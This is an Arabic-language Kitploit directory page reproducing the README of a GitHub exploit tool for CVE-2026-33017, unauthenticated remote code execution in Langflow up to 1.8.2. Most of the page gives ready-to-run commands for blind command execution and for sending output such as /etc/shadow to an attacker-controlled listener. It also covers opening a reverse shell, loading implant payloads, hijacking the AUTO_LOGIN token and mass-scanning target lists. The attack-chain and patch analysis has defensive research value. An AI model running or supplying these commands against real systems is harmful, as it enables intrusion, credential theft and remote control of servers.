Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/oscar-mine/cve-2026-33017-exploit
الاستطلاعماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعد
GitHuboscar-mine/cve-2026-33017-exploit

CVE-2026-33017-Exploit

استغلال لـ CVE-2026-33017 — تنفيذ أوامر عن بُعد بدون مصادقة في Langflow <= 1.8.2 عبر exec() في نقطة نهاية بناء التدفق

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33017 - تنفيذ أوامر عن بُعد بدون مصادقة في Langflow

root@kitploit:~
        _____
       /     \
      | () () |
       \  ^  /
        |||||

exec() بدون مصادقة، بدون صندوق حماية، بدون أمل.

يسمح Langflow <= 1.8.2 بـ تنفيذ أوامر عن بُعد بدون مصادقة عبر نقطة النهاية POST /api/v1/build_public_tmp/{flow_id}/flow. يتم تمرير بيانات التدفق المقدمة من المهاجم والتي تحتوي على كود Python عشوائي في تعريفات العقد مباشرة إلى exec() بدون أي صندوق حماية.

  • CVSS: 9.8 حرج
  • CWE: CWE-94 (حقن كود)، CWE-306 (غياب المصادقة)
  • المتأثر: Langflow <= 1.8.2 (بما في ذلك 1.9.0-dev0 حتى dev11)
  • المُصلَح: Langflow 1.9.0
  • CISA KEV: أُضيف في 2026-03-25
  • استُغل في البرية: خلال 20 ساعة من الإفصاح

سلسلة الهجوم

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow
  -> chat.py -> start_flow_build() -> build_graph_from_data()
  -> Graph.from_payload() -> loading.py -> eval.py create_class()
  -> validate.py prepare_global_scope() -> exec(compiled_code)
  -> تنفيذ كود عشوائي بصلاحيات عملية الخادم. انتهت اللعبة.

التثبيت

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

الاستخدام

الاستطلاع - التحقق من قابلية الهدف للاستغلال

root@kitploit:~
python3 exploit.py --url http://target:7860 --check

تنفيذ أوامر عمياء

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id"

استخراج المخرجات عبر استدعاء GET (base64 في مسار URL)

root@kitploit:~
# الطرفية 1: تشغيل المستمع
python3 -m http.server 8080

# الطرفية 2: إطلاق الاستغلال
python3 exploit.py --url http://target:7860 --cmd "id" \
  --callback-get http://your-ip:8080

# فك ترميز base64 من سجلات المستمع:
echo "dWlkPTEwMDAo..." | base64 -d

استخراج المخرجات عبر استدعاء POST (المخرجات الخام في جسم الطلب)

root@kitploit:~
# الطرفية 1: تشغيل المستمع
nc -l 8080

# الطرفية 2: إطلاق الاستغلال
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
  --callback-post http://your-ip:8080

# تصل المخرجات الخام مباشرة في جسم طلب POST - لا حاجة لفك الترميز

قشرة عكسية

root@kitploit:~
# الطرفية 1: تشغيل المستمع
nc -l 4444

# الطرفية 2: إطلاق الاستغلال
python3 exploit.py --url http://target:7860 --revshell your-ip 4444

حمولة Python مخصصة

root@kitploit:~
python3 exploit.py --url http://target:7860 --payload-file implant.py

قواعد ملف الحمولة:

  • يُنفَّذ الكود على مستوى الوحدة عبر exec() داخل prepare_global_scope()
  • يجب استخدام التعيينات (مثل _x = os.popen(...).read()) لأن مرشح AST ينفذ فقط عقد Assign وFunctionDef وClassDef
  • يجب استخدام threading.Thread(daemon=True) للاستدعاءات الحاجبة لتجنب قتل حلقة الأحداث غير المتزامنة

الترقية التلقائية للتدفقات الخاصة

عند عدم وجود تدفقات عامة (PUBLIC) مع تفعيل AUTO_LOGIN (الافتراضي في العديد من النشرات):

root@kitploit:~
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"

يختطف هذا رمز AUTO_LOGIN، ويعدّل أول تدفق إلى PUBLIC عبر PATCH، ثم يستغله.

الفحص الجماعي

فحص أهداف متعددة من ملف (فحص الثغرة فقط):

root@kitploit:~
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt

صيغة targets.txt:

root@kitploit:~
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# التعليقات تُتجاهل

يعرض المخرجات:

  • كشف الإصدار (قابل للاستغلال / مُصلَح)
  • حالة AUTO_LOGIN (رمز مجاني = تصعيد سهل)
  • عدد التدفقات العامة (جاهزة للاستغلال فورًا)

البروكسي عبر Burp

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id" \
  --proxy http://127.0.0.1:8080

كيف يعمل

  1. فحص الإصدار - يستكشف /api/v1/version لتحديد بصمة الهدف
  2. اكتشاف التدفقات - يستخدم AUTO_LOGIN (إذا كان مفعّلًا) لتعداد التدفقات والعثور على التدفقات العامة
  3. حقن الحمولة - يصنع رسمًا بيانيًا لتدفق مصغر يحتوي على عقدة CustomComponent مع كود Python خبيث في حقل code
  4. تنفيذ الكود - يرسل POST إلى /api/v1/build_public_tmp/{flow_id}/flow مع معامل data المصنوع. يجمع Langflow الرسم البياني، الذي يستدعي create_class() -> prepare_global_scope() -> exec() على كود المهاجم

يزيل الإصلاح في v1.9.0 معامل data بالكامل، مما يجبر نقطة النهاية على استخدام بيانات التدفق المخزنة فقط من قاعدة البيانات.

تحليل التصحيح

الإصدارالحالة
<= 1.8.1قابل للاستغلال
1.8.2ادعاء الإصلاح في سجل التغييرات لكن الكود لم يتغير أبدًا (أكدت JFrog ذلك)
1.9.0-dev0 إلى dev11لا يزال قابلًا للاستغلال
1.9.0مُصلَح فعليًا - أُزيل معامل data من نقطة النهاية

المراجع

  • NVD - CVE-2026-33017
  • JFrog Research - تحليل تجاوز التصحيح
  • Sysdig - الاستغلال خلال 20 ساعة
  • CISA KEV
  • التزام الإصلاح
  • GitHub Advisory: GHSA-rvqx-wpfh-mfx7

إخلاء مسؤولية

هذه الأداة لأبحاث الأمن المصرح بها فقط. استخدمها فقط ضد أنظمة لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن سوء الاستخدام.

تنزيل الأداة